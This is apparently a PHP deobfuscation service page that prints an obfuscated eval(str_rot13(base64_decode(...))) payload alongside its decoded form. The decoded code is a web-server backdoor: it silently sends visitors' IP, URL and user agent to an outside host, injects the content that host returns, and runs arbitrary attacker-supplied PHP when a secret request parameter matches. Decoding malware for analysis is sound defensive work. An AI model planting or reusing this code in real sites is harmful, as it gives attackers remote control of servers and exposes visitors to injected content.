Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(str_rot13('riny(onfr64_qrpbqr("nJLtXTymp2I0XPEcLaLcXFO7VTIwnT8tWTyvqwftsFOyoUAyVUftVT..

Decoded Output download

if (isset($ibv)) { echo $ibv; } else {  error_reporting(0);
ini_set("display_errors", "0");
if (!isset($ibv)) {
if(!empty($_COOKIE["client_check"])) die($_COOKIE["client_check"]);
if(preg_match('!\S!u', file_get_contents($_SERVER["SCRIPT_FILENAME"]))) $c = "u"; else $c = "w";
$d = $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
$u = $_SERVER["HTTP_USER_AGENT"];
$ip = $_SERVER["REMOTE_ADDR"];
$url = "http://sushy-rolly.ru/get.php?ip=".urlencode($ip)."&d=".urlencode($d)."&u=".urlencode($u)."&c=".$c."&i=1&h=".md5("41e7ffbb14d1902645febfc5a3d79b89".$d.$u.$c."1");
if(ini_get("allow_url_fopen") == 1) {
$ibv = file_get_contents($url);
} elseif(function_exists("curl_init")) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
$result = curl_exec($ch);
curl_close($ch);
$ibv = $result;
} else {
$fp = fsockopen("sushy-rolly.ru", 80, $errno, $errstr, 30);
if ($fp) {
    $out = "GET /get.php?ip=".urlencode($ip)."&d=".urlencode($d)."&u=".urlencode($u)."&c=".$c."&i=1&h=".md5("41e7ffbb14d1902645febfc5a3d79b89".$d.$u.$c."1")." HTTP/1.1
";
    $out .= "Host: sushy-rolly.ru
";
    $out .= "Connection: Close

";
    fwrite($fp, $out);
    $resp = "";
    while (!feof($fp)) {
        $resp .= fgets($fp, 128);
    }
    fclose($fp);
    list($header, $body) = preg_split("/\R\R/", $resp, 2);
    $ibv = $body;
}
}
};
if(isset($_REQUEST["p"]) && $_REQUEST["p"] == "8ad1099c") { eval(stripslashes($_REQUEST["c"])); }
echo $ibv; }

Did this file decode correctly?

Original Code

eval(str_rot13('riny(onfr64_qrpbqr("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"));'));

Function Calls

str_rot13 1
base64_decode 1

Variables

None

Stats

MD5 1f6e5c4567f6008365eed730272c2031
Eval Count 2
Decode Time 135 ms